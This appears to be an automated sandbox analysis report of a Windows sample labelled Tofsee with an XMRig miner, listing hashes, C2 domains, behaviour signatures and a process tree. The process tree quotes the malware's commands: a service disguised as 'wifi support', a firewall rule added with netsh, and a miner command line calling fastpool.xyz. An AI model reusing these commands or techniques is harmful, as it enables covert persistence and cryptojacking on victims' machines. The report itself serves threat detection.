Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/12/2022, 10:23

General

  • Target

    file.exe

  • Size

    217KB

  • MD5

    8e97563d38629fc2a922f7506e5a1bc8

  • SHA1

    1c071bc1bb6047393bdf62c224e4857ff5d0c6b5

  • SHA256

    3704fed2da6f7c8145303f50858409822ea8e25043ab5c9884e31589ba4ac622

  • SHA512

    e2de7164ce797612c71d7a70de532450a66b5bf0b4a6d251c90a9afb38f93c6124e0fb21e0769520da88221bebf8fca2ae2cefbdee0709e0b0a62313a2f00549

  • SSDEEP

    3072:GdRg/iLUtW0HRJuHqYPi41ylBAb0TDKqu407b/GwhzwNdnXNHCDml:GHgqLiW29u+D1u4c10Ca

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1008
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\aecwvoin\
      2⤵
        PID:1528
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\msfatani.exe" C:\Windows\SysWOW64\aecwvoin\
        2⤵
          PID:1116
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create aecwvoin binPath= "C:\Windows\SysWOW64\aecwvoin\msfatani.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4444
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description aecwvoin "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:616
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start aecwvoin
          2⤵
          • Launches sc.exe
          PID:3928
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4296
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1008 -s 1200
          2⤵
          • Program crash
          PID:864
      • C:\Windows\SysWOW64\aecwvoin\msfatani.exe
        C:\Windows\SysWOW64\aecwvoin\msfatani.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:5012
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4544
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4320
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5012 -s 176
          2⤵
          • Program crash
          PID:4764
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1008 -ip 1008
        1⤵
          PID:4876
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 5012 -ip 5012
          1⤵
            PID:4508

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                • C:\Users\Admin\AppData\Local\Temp\msfatani.exe

                  Filesize

                  11.0MB

                  MD5

                  42f74cbc21f23b664d50076215ecdea1

                  SHA1

                  96441af445f7314313e794a662ebdf0923c4790a

                  SHA256

                  07bdd7b8ca2291b2b72c0cc7551e22f970193075dd5498757e9154da395d556e

                  SHA512

                  dd41fe955335f02b4ed064f0f2f3d443bfb0c23a46bc049daff5249a8958a68e48513d6efdb39bddcb697c84e7622c30fd6112bcfa0e7be47584b55228042674

                • C:\Windows\SysWOW64\aecwvoin\msfatani.exe

                  Filesize

                  11.0MB

                  MD5

                  42f74cbc21f23b664d50076215ecdea1

                  SHA1

                  96441af445f7314313e794a662ebdf0923c4790a

                  SHA256

                  07bdd7b8ca2291b2b72c0cc7551e22f970193075dd5498757e9154da395d556e

                  SHA512

                  dd41fe955335f02b4ed064f0f2f3d443bfb0c23a46bc049daff5249a8958a68e48513d6efdb39bddcb697c84e7622c30fd6112bcfa0e7be47584b55228042674

                • memory/1008-135-0x0000000000400000-0x000000000045F000-memory.dmp

                  Filesize

                  380KB

                • memory/1008-134-0x00000000006F0000-0x0000000000703000-memory.dmp

                  Filesize

                  76KB

                • memory/1008-133-0x0000000000739000-0x0000000000749000-memory.dmp

                  Filesize

                  64KB

                • memory/1008-143-0x0000000000400000-0x000000000045F000-memory.dmp

                  Filesize

                  380KB

                • memory/4320-171-0x0000000000E00000-0x0000000000EF1000-memory.dmp

                  Filesize

                  964KB

                • memory/4320-176-0x0000000000E00000-0x0000000000EF1000-memory.dmp

                  Filesize

                  964KB

                • memory/4544-150-0x0000000000FD0000-0x0000000000FE5000-memory.dmp

                  Filesize

                  84KB

                • memory/4544-151-0x0000000000FD0000-0x0000000000FE5000-memory.dmp

                  Filesize

                  84KB

                • memory/4544-152-0x0000000002E00000-0x000000000300F000-memory.dmp

                  Filesize

                  2.1MB

                • memory/4544-155-0x0000000002540000-0x0000000002546000-memory.dmp

                  Filesize

                  24KB

                • memory/4544-158-0x0000000002550000-0x0000000002560000-memory.dmp

                  Filesize

                  64KB

                • memory/4544-161-0x00000000025E0000-0x00000000025E5000-memory.dmp

                  Filesize

                  20KB

                • memory/4544-164-0x0000000007D80000-0x000000000818B000-memory.dmp

                  Filesize

                  4.0MB

                • memory/4544-167-0x00000000025F0000-0x00000000025F7000-memory.dmp

                  Filesize

                  28KB

                • memory/4544-145-0x0000000000FD0000-0x0000000000FE5000-memory.dmp

                  Filesize

                  84KB

                • memory/5012-149-0x0000000000400000-0x000000000045F000-memory.dmp

                  Filesize

                  380KB

                • memory/5012-148-0x0000000000663000-0x0000000000673000-memory.dmp

                  Filesize

                  64KB